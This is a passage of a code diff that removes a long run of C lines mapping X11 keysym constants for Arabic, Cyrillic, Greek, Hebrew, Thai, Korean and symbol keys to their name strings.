- if (k == XK_Arabic_heh) return "Arabic_heh";
- if (k == XK_Arabic_waw) return "Arabic_waw";
- if (k == XK_Arabic_alefmaksura) return "Arabic_alefmaksura";
- if (k == XK_Arabic_yeh) return "Arabic_yeh";
- if (k == XK_Arabic_fathatan) return "Arabic_fathatan";
- if (k == XK_Arabic_dammatan) return "Arabic_dammatan";
- if (k == XK_Arabic_kasratan) return "Arabic_kasratan";
- if (k == XK_Arabic_fatha) return "Arabic_fatha";
- if (k == XK_Arabic_damma) return "Arabic_damma";
- if (k == XK_Arabic_kasra) return "Arabic_kasra";
- if (k == XK_Arabic_shadda) return "Arabic_shadda";
- if (k == XK_Arabic_sukun) return "Arabic_sukun";
- if (k == XK_Arabic_switch) return "Arabic_switch";
-#endif /* XK_ARABIC */
-#ifdef XK_CYRILLIC
- if (k == XK_Serbian_dje) return "Serbian_dje";
- if (k == XK_Macedonia_gje) return "Macedonia_gje";
- if (k == XK_Cyrillic_io) return "Cyrillic_io";
- if (k == XK_Ukrainian_ie) return "Ukrainian_ie";
- if (k == XK_Ukranian_je) return "Ukranian_je";
- if (k == XK_Macedonia_dse) return "Macedonia_dse";
- if (k == XK_Ukrainian_i) return "Ukrainian_i";
- if (k == XK_Ukranian_i) return "Ukranian_i";
- if (k == XK_Ukrainian_yi) return "Ukrainian_yi";
- if (k == XK_Ukranian_yi) return "Ukranian_yi";
- if (k == XK_Cyrillic_je) return "Cyrillic_je";
- if (k == XK_Serbian_je) return "Serbian_je";
- if (k == XK_Cyrillic_lje) return "Cyrillic_lje";
- if (k == XK_Serbian_lje) return "Serbian_lje";
- if (k == XK_Cyrillic_nje) return "Cyrillic_nje";
- if (k == XK_Serbian_nje) return "Serbian_nje";
- if (k == XK_Serbian_tshe) return "Serbian_tshe";
- if (k == XK_Macedonia_kje) return "Macedonia_kje";
- if (k == XK_Byelorussian_shortu) return "Byelorussian_shortu";
- if (k == XK_Cyrillic_dzhe) return "Cyrillic_dzhe";
- if (k == XK_Serbian_dze) return "Serbian_dze";
- if (k == XK_numerosign) return "numerosign";
- if (k == XK_Serbian_DJE) return "Serbian_DJE";
- if (k == XK_Macedonia_GJE) return "Macedonia_GJE";
- if (k == XK_Cyrillic_IO) return "Cyrillic_IO";
- if (k == XK_Ukrainian_IE) return "Ukrainian_IE";
- if (k == XK_Ukranian_JE) return "Ukranian_JE";
- if (k == XK_Macedonia_DSE) return "Macedonia_DSE";
- if (k == XK_Ukrainian_I) return "Ukrainian_I";
- if (k == XK_Ukranian_I) return "Ukranian_I";
- if (k == XK_Ukrainian_YI) return "Ukrainian_YI";
- if (k == XK_Ukranian_YI) return "Ukranian_YI";
- if (k == XK_Cyrillic_JE) return "Cyrillic_JE";
- if (k == XK_Serbian_JE) return "Serbian_JE";
- if (k == XK_Cyrillic_LJE) return "Cyrillic_LJE";
- if (k == XK_Serbian_LJE) return "Serbian_LJE";
- if (k == XK_Cyrillic_NJE) return "Cyrillic_NJE";
- if (k == XK_Serbian_NJE) return "Serbian_NJE";
- if (k == XK_Serbian_TSHE) return "Serbian_TSHE";
- if (k == XK_Macedonia_KJE) return "Macedonia_KJE";
- if (k == XK_Byelorussian_SHORTU) return "Byelorussian_SHORTU";
- if (k == XK_Cyrillic_DZHE) return "Cyrillic_DZHE";
- if (k == XK_Serbian_DZE) return "Serbian_DZE";
- if (k == XK_Cyrillic_yu) return "Cyrillic_yu";
- if (k == XK_Cyrillic_a) return "Cyrillic_a";
- if (k == XK_Cyrillic_be) return "Cyrillic_be";
- if (k == XK_Cyrillic_tse) return "Cyrillic_tse";
- if (k == XK_Cyrillic_de) return "Cyrillic_de";
- if (k == XK_Cyrillic_ie) return "Cyrillic_ie";
- if (k == XK_Cyrillic_ef) return "Cyrillic_ef";
- if (k == XK_Cyrillic_ghe) return "Cyrillic_ghe";
- if (k == XK_Cyrillic_ha) return "Cyrillic_ha";
- if (k == XK_Cyrillic_i) return "Cyrillic_i";
- if (k == XK_Cyrillic_shorti) return "Cyrillic_shorti";
- if (k == XK_Cyrillic_ka) return "Cyrillic_ka";
- if (k == XK_Cyrillic_el) return "Cyrillic_el";
- if (k == XK_Cyrillic_em) return "Cyrillic_em";
- if (k == XK_Cyrillic_en) return "Cyrillic_en";
- if (k == XK_Cyrillic_o) return "Cyrillic_o";
- if (k == XK_Cyrillic_pe) return "Cyrillic_pe";
- if (k == XK_Cyrillic_ya) return "Cyrillic_ya";
- if (k == XK_Cyrillic_er) return "Cyrillic_er";
- if (k == XK_Cyrillic_es) return "Cyrillic_es";
- if (k == XK_Cyrillic_te) return "Cyrillic_te";
- if (k == XK_Cyrillic_u) return "Cyrillic_u";
- if (k == XK_Cyrillic_zhe) return "Cyrillic_zhe";
- if (k == XK_Cyrillic_ve) return "Cyrillic_ve";
- if (k == XK_Cyrillic_softsign) return "Cyrillic_softsign";
- if (k == XK_Cyrillic_yeru) return "Cyrillic_yeru";
- if (k == XK_Cyrillic_ze) return "Cyrillic_ze";
- if (k == XK_Cyrillic_sha) return "Cyrillic_sha";
- if (k == XK_Cyrillic_e) return "Cyrillic_e";
- if (k == XK_Cyrillic_shcha) return "Cyrillic_shcha";
- if (k == XK_Cyrillic_che) return "Cyrillic_che";
- if (k == XK_Cyrillic_hardsign) return "Cyrillic_hardsign";
- if (k == XK_Cyrillic_YU) return "Cyrillic_YU";
- if (k == XK_Cyrillic_A) return "Cyrillic_A";
- if (k == XK_Cyrillic_BE) return "Cyrillic_BE";
- if (k == XK_Cyrillic_TSE) return "Cyrillic_TSE";
- if (k == XK_Cyrillic_DE) return "Cyrillic_DE";
- if (k == XK_Cyrillic_IE) return "Cyrillic_IE";
- if (k == XK_Cyrillic_EF) return "Cyrillic_EF";
- if (k == XK_Cyrillic_GHE) return "Cyrillic_GHE";
- if (k == XK_Cyrillic_HA) return "Cyrillic_HA";
- if (k == XK_Cyrillic_I) return "Cyrillic_I";
- if (k == XK_Cyrillic_SHORTI) return "Cyrillic_SHORTI";
- if (k == XK_Cyrillic_KA) return "Cyrillic_KA";
- if (k == XK_Cyrillic_EL) return "Cyrillic_EL";
- if (k == XK_Cyrillic_EM) return "Cyrillic_EM";
- if (k == XK_Cyrillic_EN) return "Cyrillic_EN";
- if (k == XK_Cyrillic_O) return "Cyrillic_O";
- if (k == XK_Cyrillic_PE) return "Cyrillic_PE";
- if (k == XK_Cyrillic_YA) return "Cyrillic_YA";
- if (k == XK_Cyrillic_ER) return "Cyrillic_ER";
- if (k == XK_Cyrillic_ES) return "Cyrillic_ES";
- if (k == XK_Cyrillic_TE) return "Cyrillic_TE";
- if (k == XK_Cyrillic_U) return "Cyrillic_U";
- if (k == XK_Cyrillic_ZHE) return "Cyrillic_ZHE";
- if (k == XK_Cyrillic_VE) return "Cyrillic_VE";
- if (k == XK_Cyrillic_SOFTSIGN) return "Cyrillic_SOFTSIGN";
- if (k == XK_Cyrillic_YERU) return "Cyrillic_YERU";
- if (k == XK_Cyrillic_ZE) return "Cyrillic_ZE";
- if (k == XK_Cyrillic_SHA) return "Cyrillic_SHA";
- if (k == XK_Cyrillic_E) return "Cyrillic_E";
- if (k == XK_Cyrillic_SHCHA) return "Cyrillic_SHCHA";
- if (k == XK_Cyrillic_CHE) return "Cyrillic_CHE";
- if (k == XK_Cyrillic_HARDSIGN) return "Cyrillic_HARDSIGN";
-#endif /* XK_CYRILLIC */
-#ifdef XK_GREEK
- if (k == XK_Greek_ALPHAaccent) return "Greek_ALPHAaccent";
- if (k == XK_Greek_EPSILONaccent) return "Greek_EPSILONaccent";
- if (k == XK_Greek_ETAaccent) return "Greek_ETAaccent";
- if (k == XK_Greek_IOTAaccent) return "Greek_IOTAaccent";
- if (k == XK_Greek_IOTAdieresis) return "Greek_IOTAdieresis";
- if (k == XK_Greek_OMICRONaccent) return "Greek_OMICRONaccent";
- if (k == XK_Greek_UPSILONaccent) return "Greek_UPSILONaccent";
- if (k == XK_Greek_UPSILONdieresis) return "Greek_UPSILONdieresis";
- if (k == XK_Greek_OMEGAaccent) return "Greek_OMEGAaccent";
- if (k == XK_Greek_accentdieresis) return "Greek_accentdieresis";
- if (k == XK_Greek_horizbar) return "Greek_horizbar";
- if (k == XK_Greek_alphaaccent) return "Greek_alphaaccent";
- if (k == XK_Greek_epsilonaccent) return "Greek_epsilonaccent";
- if (k == XK_Greek_etaaccent) return "Greek_etaaccent";
- if (k == XK_Greek_iotaaccent) return "Greek_iotaaccent";
- if (k == XK_Greek_iotadieresis) return "Greek_iotadieresis";
- if (k == XK_Greek_iotaaccentdieresis) return "Greek_iotaaccentdieresis";
- if (k == XK_Greek_omicronaccent) return "Greek_omicronaccent";
- if (k == XK_Greek_upsilonaccent) return "Greek_upsilonaccent";
- if (k == XK_Greek_upsilondieresis) return "Greek_upsilondieresis";
- if (k == XK_Greek_upsilonaccentdieresis) return "Greek_upsilonaccentdieresis";
- if (k == XK_Greek_omegaaccent) return "Greek_omegaaccent";
- if (k == XK_Greek_ALPHA) return "Greek_ALPHA";
- if (k == XK_Greek_BETA) return "Greek_BETA";
- if (k == XK_Greek_GAMMA) return "Greek_GAMMA";
- if (k == XK_Greek_DELTA) return "Greek_DELTA";
- if (k == XK_Greek_EPSILON) return "Greek_EPSILON";
- if (k == XK_Greek_ZETA) return "Greek_ZETA";
- if (k == XK_Greek_ETA) return "Greek_ETA";
- if (k == XK_Greek_THETA) return "Greek_THETA";
- if (k == XK_Greek_IOTA) return "Greek_IOTA";
- if (k == XK_Greek_KAPPA) return "Greek_KAPPA";
- if (k == XK_Greek_LAMDA) return "Greek_LAMDA";
- if (k == XK_Greek_LAMBDA) return "Greek_LAMBDA";
- if (k == XK_Greek_MU) return "Greek_MU";
- if (k == XK_Greek_NU) return "Greek_NU";
- if (k == XK_Greek_XI) return "Greek_XI";
- if (k == XK_Greek_OMICRON) return "Greek_OMICRON";
- if (k == XK_Greek_PI) return "Greek_PI";
- if (k == XK_Greek_RHO) return "Greek_RHO";
- if (k == XK_Greek_SIGMA) return "Greek_SIGMA";
- if (k == XK_Greek_TAU) return "Greek_TAU";
- if (k == XK_Greek_UPSILON) return "Greek_UPSILON";
- if (k == XK_Greek_PHI) return "Greek_PHI";
- if (k == XK_Greek_CHI) return "Greek_CHI";
- if (k == XK_Greek_PSI) return "Greek_PSI";
- if (k == XK_Greek_OMEGA) return "Greek_OMEGA";
- if (k == XK_Greek_alpha) return "Greek_alpha";
- if (k == XK_Greek_beta) return "Greek_beta";
- if (k == XK_Greek_gamma) return "Greek_gamma";
- if (k == XK_Greek_delta) return "Greek_delta";
- if (k == XK_Greek_epsilon) return "Greek_epsilon";
- if (k == XK_Greek_zeta) return "Greek_zeta";
- if (k == XK_Greek_eta) return "Greek_eta";
- if (k == XK_Greek_theta) return "Greek_theta";
- if (k == XK_Greek_iota) return "Greek_iota";
- if (k == XK_Greek_kappa) return "Greek_kappa";
- if (k == XK_Greek_lamda) return "Greek_lamda";
- if (k == XK_Greek_lambda) return "Greek_lambda";
- if (k == XK_Greek_mu) return "Greek_mu";
- if (k == XK_Greek_nu) return "Greek_nu";
- if (k == XK_Greek_xi) return "Greek_xi";
- if (k == XK_Greek_omicron) return "Greek_omicron";
- if (k == XK_Greek_pi) return "Greek_pi";
- if (k == XK_Greek_rho) return "Greek_rho";
- if (k == XK_Greek_sigma) return "Greek_sigma";
- if (k == XK_Greek_finalsmallsigma) return "Greek_finalsmallsigma";
- if (k == XK_Greek_tau) return "Greek_tau";
- if (k == XK_Greek_upsilon) return "Greek_upsilon";
- if (k == XK_Greek_phi) return "Greek_phi";
- if (k == XK_Greek_chi) return "Greek_chi";
- if (k == XK_Greek_psi) return "Greek_psi";
- if (k == XK_Greek_omega) return "Greek_omega";
- if (k == XK_Greek_switch) return "Greek_switch";
-#endif /* XK_GREEK */
-#ifdef XK_TECHNICAL
- if (k == XK_leftradical) return "leftradical";
- if (k == XK_topleftradical) return "topleftradical";
- if (k == XK_horizconnector) return "horizconnector";
- if (k == XK_topintegral) return "topintegral";
- if (k == XK_botintegral) return "botintegral";
- if (k == XK_vertconnector) return "vertconnector";
- if (k == XK_topleftsqbracket) return "topleftsqbracket";
- if (k == XK_botleftsqbracket) return "botleftsqbracket";
- if (k == XK_toprightsqbracket) return "toprightsqbracket";
- if (k == XK_botrightsqbracket) return "botrightsqbracket";
- if (k == XK_topleftparens) return "topleftparens";
- if (k == XK_botleftparens) return "botleftparens";
- if (k == XK_toprightparens) return "toprightparens";
- if (k == XK_botrightparens) return "botrightparens";
- if (k == XK_leftmiddlecurlybrace) return "leftmiddlecurlybrace";
- if (k == XK_rightmiddlecurlybrace) return "rightmiddlecurlybrace";
- if (k == XK_topleftsummation) return "topleftsummation";
- if (k == XK_botleftsummation) return "botleftsummation";
- if (k == XK_topvertsummationconnector) return "topvertsummationconnector";
- if (k == XK_botvertsummationconnector) return "botvertsummationconnector";
- if (k == XK_toprightsummation) return "toprightsummation";
- if (k == XK_botrightsummation) return "botrightsummation";
- if (k == XK_rightmiddlesummation) return "rightmiddlesummation";
- if (k == XK_lessthanequal) return "lessthanequal";
- if (k == XK_notequal) return "notequal";
- if (k == XK_greaterthanequal) return "greaterthanequal";
- if (k == XK_integral) return "integral";
- if (k == XK_therefore) return "therefore";
- if (k == XK_variation) return "variation";
- if (k == XK_infinity) return "infinity";
- if (k == XK_nabla) return "nabla";
- if (k == XK_approximate) return "approximate";
- if (k == XK_similarequal) return "similarequal";
- if (k == XK_ifonlyif) return "ifonlyif";
- if (k == XK_implies) return "implies";
- if (k == XK_identical) return "identical";
- if (k == XK_radical) return "radical";
- if (k == XK_includedin) return "includedin";
- if (k == XK_includes) return "includes";
- if (k == XK_intersection) return "intersection";
- if (k == XK_union) return "union";
- if (k == XK_logicaland) return "logicaland";
- if (k == XK_logicalor) return "logicalor";
- if (k == XK_partialderivative) return "partialderivative";
- if (k == XK_function) return "function";
- if (k == XK_leftarrow) return "leftarrow";
- if (k == XK_uparrow) return "uparrow";
- if (k == XK_rightarrow) return "rightarrow";
- if (k == XK_downarrow) return "downarrow";
-#endif /* XK_TECHNICAL */
-#ifdef XK_SPECIAL
- if (k == XK_blank) return "blank";
- if (k == XK_soliddiamond) return "soliddiamond";
- if (k == XK_checkerboard) return "checkerboard";
- if (k == XK_ht) return "ht";
- if (k == XK_ff) return "ff";
- if (k == XK_cr) return "cr";
- if (k == XK_lf) return "lf";
- if (k == XK_nl) return "nl";
- if (k == XK_vt) return "vt";
- if (k == XK_lowrightcorner) return "lowrightcorner";
- if (k == XK_uprightcorner) return "uprightcorner";
- if (k == XK_upleftcorner) return "upleftcorner";
- if (k == XK_lowleftcorner) return "lowleftcorner";
- if (k == XK_crossinglines) return "crossinglines";
- if (k == XK_horizlinescan1) return "horizlinescan1";
- if (k == XK_horizlinescan3) return "horizlinescan3";
- if (k == XK_horizlinescan5) return "horizlinescan5";
- if (k == XK_horizlinescan7) return "horizlinescan7";
- if (k == XK_horizlinescan9) return "horizlinescan9";
- if (k == XK_leftt) return "leftt";
- if (k == XK_rightt) return "rightt";
- if (k == XK_bott) return "bott";
- if (k == XK_topt) return "topt";
- if (k == XK_vertbar) return "vertbar";
-#endif /* XK_SPECIAL */
-#ifdef XK_PUBLISHING
- if (k == XK_emspace) return "emspace";
- if (k == XK_enspace) return "enspace";
- if (k == XK_em3space) return "em3space";
- if (k == XK_em4space) return "em4space";
- if (k == XK_digitspace) return "digitspace";
- if (k == XK_punctspace) return "punctspace";
- if (k == XK_thinspace) return "thinspace";
- if (k == XK_hairspace) return "hairspace";
- if (k == XK_emdash) return "emdash";
- if (k == XK_endash) return "endash";
- if (k == XK_signifblank) return "signifblank";
- if (k == XK_ellipsis) return "ellipsis";
- if (k == XK_doubbaselinedot) return "doubbaselinedot";
- if (k == XK_onethird) return "onethird";
- if (k == XK_twothirds) return "twothirds";
- if (k == XK_onefifth) return "onefifth";
- if (k == XK_twofifths) return "twofifths";
- if (k == XK_threefifths) return "threefifths";
- if (k == XK_fourfifths) return "fourfifths";
- if (k == XK_onesixth) return "onesixth";
- if (k == XK_fivesixths) return "fivesixths";
- if (k == XK_careof) return "careof";
- if (k == XK_figdash) return "figdash";
- if (k == XK_leftanglebracket) return "leftanglebracket";
- if (k == XK_decimalpoint) return "decimalpoint";
- if (k == XK_rightanglebracket) return "rightanglebracket";
- if (k == XK_marker) return "marker";
- if (k == XK_oneeighth) return "oneeighth";
- if (k == XK_threeeighths) return "threeeighths";
- if (k == XK_fiveeighths) return "fiveeighths";
- if (k == XK_seveneighths) return "seveneighths";
- if (k == XK_trademark) return "trademark";
- if (k == XK_signaturemark) return "signaturemark";
- if (k == XK_trademarkincircle) return "trademarkincircle";
- if (k == XK_leftopentriangle) return "leftopentriangle";
- if (k == XK_rightopentriangle) return "rightopentriangle";
- if (k == XK_emopencircle) return "emopencircle";
- if (k == XK_emopenrectangle) return "emopenrectangle";
- if (k == XK_leftsinglequotemark) return "leftsinglequotemark";
- if (k == XK_rightsinglequotemark) return "rightsinglequotemark";
- if (k == XK_leftdoublequotemark) return "leftdoublequotemark";
- if (k == XK_rightdoublequotemark) return "rightdoublequotemark";
- if (k == XK_prescription) return "prescription";
- if (k == XK_minutes) return "minutes";
- if (k == XK_seconds) return "seconds";
- if (k == XK_latincross) return "latincross";
- if (k == XK_hexagram) return "hexagram";
- if (k == XK_filledrectbullet) return "filledrectbullet";
- if (k == XK_filledlefttribullet) return "filledlefttribullet";
- if (k == XK_filledrighttribullet) return "filledrighttribullet";
- if (k == XK_emfilledcircle) return "emfilledcircle";
- if (k == XK_emfilledrect) return "emfilledrect";
- if (k == XK_enopencircbullet) return "enopencircbullet";
- if (k == XK_enopensquarebullet) return "enopensquarebullet";
- if (k == XK_openrectbullet) return "openrectbullet";
- if (k == XK_opentribulletup) return "opentribulletup";
- if (k == XK_opentribulletdown) return "opentribulletdown";
- if (k == XK_openstar) return "openstar";
- if (k == XK_enfilledcircbullet) return "enfilledcircbullet";
- if (k == XK_enfilledsqbullet) return "enfilledsqbullet";
- if (k == XK_filledtribulletup) return "filledtribulletup";
- if (k == XK_filledtribulletdown) return "filledtribulletdown";
- if (k == XK_leftpointer) return "leftpointer";
- if (k == XK_rightpointer) return "rightpointer";
- if (k == XK_club) return "club";
- if (k == XK_diamond) return "diamond";
- if (k == XK_heart) return "heart";
- if (k == XK_maltesecross) return "maltesecross";
- if (k == XK_dagger) return "dagger";
- if (k == XK_doubledagger) return "doubledagger";
- if (k == XK_checkmark) return "checkmark";
- if (k == XK_ballotcross) return "ballotcross";
- if (k == XK_musicalsharp) return "musicalsharp";
- if (k == XK_musicalflat) return "musicalflat";
- if (k == XK_malesymbol) return "malesymbol";
- if (k == XK_femalesymbol) return "femalesymbol";
- if (k == XK_telephone) return "telephone";
- if (k == XK_telephonerecorder) return "telephonerecorder";
- if (k == XK_phonographcopyright) return "phonographcopyright";
- if (k == XK_caret) return "caret";
- if (k == XK_singlelowquotemark) return "singlelowquotemark";
- if (k == XK_doublelowquotemark) return "doublelowquotemark";
- if (k == XK_cursor) return "cursor";
-#endif /* XK_PUBLISHING */
-#ifdef XK_APL
- if (k == XK_leftcaret) return "leftcaret";
- if (k == XK_rightcaret) return "rightcaret";
- if (k == XK_downcaret) return "downcaret";
- if (k == XK_upcaret) return "upcaret";
- if (k == XK_overbar) return "overbar";
- if (k == XK_downtack) return "downtack";
- if (k == XK_upshoe) return "upshoe";
- if (k == XK_downstile) return "downstile";
- if (k == XK_underbar) return "underbar";
- if (k == XK_jot) return "jot";
- if (k == XK_quad) return "quad";
- if (k == XK_uptack) return "uptack";
- if (k == XK_circle) return "circle";
- if (k == XK_upstile) return "upstile";
- if (k == XK_downshoe) return "downshoe";
- if (k == XK_rightshoe) return "rightshoe";
- if (k == XK_leftshoe) return "leftshoe";
- if (k == XK_lefttack) return "lefttack";
- if (k == XK_righttack) return "righttack";
-#endif /* XK_APL */
-#ifdef XK_HEBREW
- if (k == XK_hebrew_doublelowline) return "hebrew_doublelowline";
- if (k == XK_hebrew_aleph) return "hebrew_aleph";
- if (k == XK_hebrew_bet) return "hebrew_bet";
- if (k == XK_hebrew_beth) return "hebrew_beth";
- if (k == XK_hebrew_gimel) return "hebrew_gimel";
- if (k == XK_hebrew_gimmel) return "hebrew_gimmel";
- if (k == XK_hebrew_dalet) return "hebrew_dalet";
- if (k == XK_hebrew_daleth) return "hebrew_daleth";
- if (k == XK_hebrew_he) return "hebrew_he";
- if (k == XK_hebrew_waw) return "hebrew_waw";
- if (k == XK_hebrew_zain) return "hebrew_zain";
- if (k == XK_hebrew_zayin) return "hebrew_zayin";
- if (k == XK_hebrew_chet) return "hebrew_chet";
- if (k == XK_hebrew_het) return "hebrew_het";
- if (k == XK_hebrew_tet) return "hebrew_tet";
- if (k == XK_hebrew_teth) return "hebrew_teth";
- if (k == XK_hebrew_yod) return "hebrew_yod";
- if (k == XK_hebrew_finalkaph) return "hebrew_finalkaph";
- if (k == XK_hebrew_kaph) return "hebrew_kaph";
- if (k == XK_hebrew_lamed) return "hebrew_lamed";
- if (k == XK_hebrew_finalmem) return "hebrew_finalmem";
- if (k == XK_hebrew_mem) return "hebrew_mem";
- if (k == XK_hebrew_finalnun) return "hebrew_finalnun";
- if (k == XK_hebrew_nun) return "hebrew_nun";
- if (k == XK_hebrew_samech) return "hebrew_samech";
- if (k == XK_hebrew_samekh) return "hebrew_samekh";
- if (k == XK_hebrew_ayin) return "hebrew_ayin";
- if (k == XK_hebrew_finalpe) return "hebrew_finalpe";
- if (k == XK_hebrew_pe) return "hebrew_pe";
- if (k == XK_hebrew_finalzade) return "hebrew_finalzade";
- if (k == XK_hebrew_finalzadi) return "hebrew_finalzadi";
- if (k == XK_hebrew_zade) return "hebrew_zade";
- if (k == XK_hebrew_zadi) return "hebrew_zadi";
- if (k == XK_hebrew_qoph) return "hebrew_qoph";
- if (k == XK_hebrew_kuf) return "hebrew_kuf";
- if (k == XK_hebrew_resh) return "hebrew_resh";
- if (k == XK_hebrew_shin) return "hebrew_shin";
- if (k == XK_hebrew_taw) return "hebrew_taw";
- if (k == XK_hebrew_taf) return "hebrew_taf";
- if (k == XK_Hebrew_switch) return "Hebrew_switch";
-#endif /* XK_HEBREW */
-#ifdef XK_THAI
- if (k == XK_Thai_kokai) return "Thai_kokai";
- if (k == XK_Thai_khokhai) return "Thai_khokhai";
- if (k == XK_Thai_khokhuat) return "Thai_khokhuat";
- if (k == XK_Thai_khokhwai) return "Thai_khokhwai";
- if (k == XK_Thai_khokhon) return "Thai_khokhon";
- if (k == XK_Thai_khorakhang) return "Thai_khorakhang";
- if (k == XK_Thai_ngongu) return "Thai_ngongu";
- if (k == XK_Thai_chochan) return "Thai_chochan";
- if (k == XK_Thai_choching) return "Thai_choching";
- if (k == XK_Thai_chochang) return "Thai_chochang";
- if (k == XK_Thai_soso) return "Thai_soso";
- if (k == XK_Thai_chochoe) return "Thai_chochoe";
- if (k == XK_Thai_yoying) return "Thai_yoying";
- if (k == XK_Thai_dochada) return "Thai_dochada";
- if (k == XK_Thai_topatak) return "Thai_topatak";
- if (k == XK_Thai_thothan) return "Thai_thothan";
- if (k == XK_Thai_thonangmontho) return "Thai_thonangmontho";
- if (k == XK_Thai_thophuthao) return "Thai_thophuthao";
- if (k == XK_Thai_nonen) return "Thai_nonen";
- if (k == XK_Thai_dodek) return "Thai_dodek";
- if (k == XK_Thai_totao) return "Thai_totao";
- if (k == XK_Thai_thothung) return "Thai_thothung";
- if (k == XK_Thai_thothahan) return "Thai_thothahan";
- if (k == XK_Thai_thothong) return "Thai_thothong";
- if (k == XK_Thai_nonu) return "Thai_nonu";
- if (k == XK_Thai_bobaimai) return "Thai_bobaimai";
- if (k == XK_Thai_popla) return "Thai_popla";
- if (k == XK_Thai_phophung) return "Thai_phophung";
- if (k == XK_Thai_fofa) return "Thai_fofa";
- if (k == XK_Thai_phophan) return "Thai_phophan";
- if (k == XK_Thai_fofan) return "Thai_fofan";
- if (k == XK_Thai_phosamphao) return "Thai_phosamphao";
- if (k == XK_Thai_moma) return "Thai_moma";
- if (k == XK_Thai_yoyak) return "Thai_yoyak";
- if (k == XK_Thai_rorua) return "Thai_rorua";
- if (k == XK_Thai_ru) return "Thai_ru";
- if (k == XK_Thai_loling) return "Thai_loling";
- if (k == XK_Thai_lu) return "Thai_lu";
- if (k == XK_Thai_wowaen) return "Thai_wowaen";
- if (k == XK_Thai_sosala) return "Thai_sosala";
- if (k == XK_Thai_sorusi) return "Thai_sorusi";
- if (k == XK_Thai_sosua) return "Thai_sosua";
- if (k == XK_Thai_hohip) return "Thai_hohip";
- if (k == XK_Thai_lochula) return "Thai_lochula";
- if (k == XK_Thai_oang) return "Thai_oang";
- if (k == XK_Thai_honokhuk) return "Thai_honokhuk";
- if (k == XK_Thai_paiyannoi) return "Thai_paiyannoi";
- if (k == XK_Thai_saraa) return "Thai_saraa";
- if (k == XK_Thai_maihanakat) return "Thai_maihanakat";
- if (k == XK_Thai_saraaa) return "Thai_saraaa";
- if (k == XK_Thai_saraam) return "Thai_saraam";
- if (k == XK_Thai_sarai) return "Thai_sarai";
- if (k == XK_Thai_saraii) return "Thai_saraii";
- if (k == XK_Thai_saraue) return "Thai_saraue";
- if (k == XK_Thai_sarauee) return "Thai_sarauee";
- if (k == XK_Thai_sarau) return "Thai_sarau";
- if (k == XK_Thai_sarauu) return "Thai_sarauu";
- if (k == XK_Thai_phinthu) return "Thai_phinthu";
- if (k == XK_Thai_maihanakat_maitho) return "Thai_maihanakat_maitho";
- if (k == XK_Thai_baht) return "Thai_baht";
- if (k == XK_Thai_sarae) return "Thai_sarae";
- if (k == XK_Thai_saraae) return "Thai_saraae";
- if (k == XK_Thai_sarao) return "Thai_sarao";
- if (k == XK_Thai_saraaimaimuan) return "Thai_saraaimaimuan";
- if (k == XK_Thai_saraaimaimalai) return "Thai_saraaimaimalai";
- if (k == XK_Thai_lakkhangyao) return "Thai_lakkhangyao";
- if (k == XK_Thai_maiyamok) return "Thai_maiyamok";
- if (k == XK_Thai_maitaikhu) return "Thai_maitaikhu";
- if (k == XK_Thai_maiek) return "Thai_maiek";
- if (k == XK_Thai_maitho) return "Thai_maitho";
- if (k == XK_Thai_maitri) return "Thai_maitri";
- if (k == XK_Thai_maichattawa) return "Thai_maichattawa";
- if (k == XK_Thai_thanthakhat) return "Thai_thanthakhat";
- if (k == XK_Thai_nikhahit) return "Thai_nikhahit";
- if (k == XK_Thai_leksun) return "Thai_leksun";
- if (k == XK_Thai_leknung) return "Thai_leknung";
- if (k == XK_Thai_leksong) return "Thai_leksong";
- if (k == XK_Thai_leksam) return "Thai_leksam";
- if (k == XK_Thai_leksi) return "Thai_leksi";
- if (k == XK_Thai_lekha) return "Thai_lekha";
- if (k == XK_Thai_lekhok) return "Thai_lekhok";
- if (k == XK_Thai_lekchet) return "Thai_lekchet";
- if (k == XK_Thai_lekpaet) return "Thai_lekpaet";
- if (k == XK_Thai_lekkao) return "Thai_lekkao";
-#endif /* XK_THAI */
-#ifdef XK_KOREAN
- if (k == XK_Hangul) return "Hangul";
- if (k == XK_Hangul_Start) return "Hangul_Start";
- if (k == XK_Hangul_End) return "Hangul_End";
- if (k == XK_Hangul_Hanja) return "Hangul_Hanja";
- if (k == XK_Hangul_Jamo) return "Hangul_Jamo";
- if (k == XK_Hangul_Romaja) return "Hangul_Romaja";
- if (k == XK_Hangul_Codeinput) return "Hangul_Codeinput";
- if (k == XK_Hangul_Jeonja) return "Hangul_Jeonja";
- if (k == XK_Hangul_Banja) return "Hangul_Banja";
- if (k == XK_Hangul_PreHanja) return "Hangul_PreHanja";
- if (k == XK_Hangul_PostHanja) return "Hangul_PostHanja";
- if (k == XK_Hangul_SingleCandidate) return "Hangul_SingleCandidate";
- if (k == XK_Hangul_MultipleCandidate) return "Hangul_MultipleCandidate";
- if (k == XK_Hangul_PreviousCandidate) return "Hangul_PreviousCandidate";
- if (k == XK_Hangul_Special) return "Hangul_Special";
- if (k == XK_Hangul_switch) return "Hangul_switch";
- if (k == XK_Hangul_Kiyeog) return "Hangul_Kiyeog";
- if (k == XK_Hangul_SsangKiyeog) return "Hangul_SsangKiyeog";
- if (k == XK_Hangul_KiyeogSios) return "Hangul_KiyeogSios";
- if (k == XK_Hangul_Nieun) return "Hangul_Nieun";
- if (k == XK_Hangul_NieunJieuj) return "Hangul_NieunJieuj";
- if (k == XK_Hangul_NieunHieuh) return "Hangul_NieunHieuh";
- if (k == XK_Hangul_Dikeud) return "Hangul_Dikeud";
- if (k == XK_Hangul_SsangDikeud) return "Hangul_SsangDikeud";
- if (k == XK_Hangul_Rieul) return "Hangul_Rieul";
- if (k == XK_Hangul_RieulKiyeog) return "Hangul_RieulKiyeog";
- if (k == XK_Hangul_RieulMieum) return "Hangul_RieulMieum";
- if (k == XK_Hangul_RieulPieub) return "Hangul_RieulPieub";
- if (k == XK_Hangul_RieulSios) return "Hangul_RieulSios";
- if (k == XK_Hangul_RieulTieut) return "Hangul_RieulTieut";
- if (k == XK_Hangul_RieulPhieuf) return "Hangul_RieulPhieuf";
- if (k == XK_Hangul_RieulHieuh) return "Hangul_RieulHieuh";
- if (k == XK_Hangul_Mieum) return "Hangul_Mieum";
- if (k == XK_Hangul_Pieub) return "Hangul_Pieub";
- if (k == XK_Hangul_SsangPieub) return "Hangul_SsangPieub";
- if (k == XK_Hangul_PieubSios) return "Hangul_PieubSios";
- if (k == XK_Hangul_Sios) return "Hangul_Sios";
- if (k == XK_Hangul_SsangSios) return "Hangul_SsangSios";
- if (k == XK_Hangul_Ieung) return "Hangul_Ieung";
- if (k == XK_Hangul_Jieuj) return "Hangul_Jieuj";
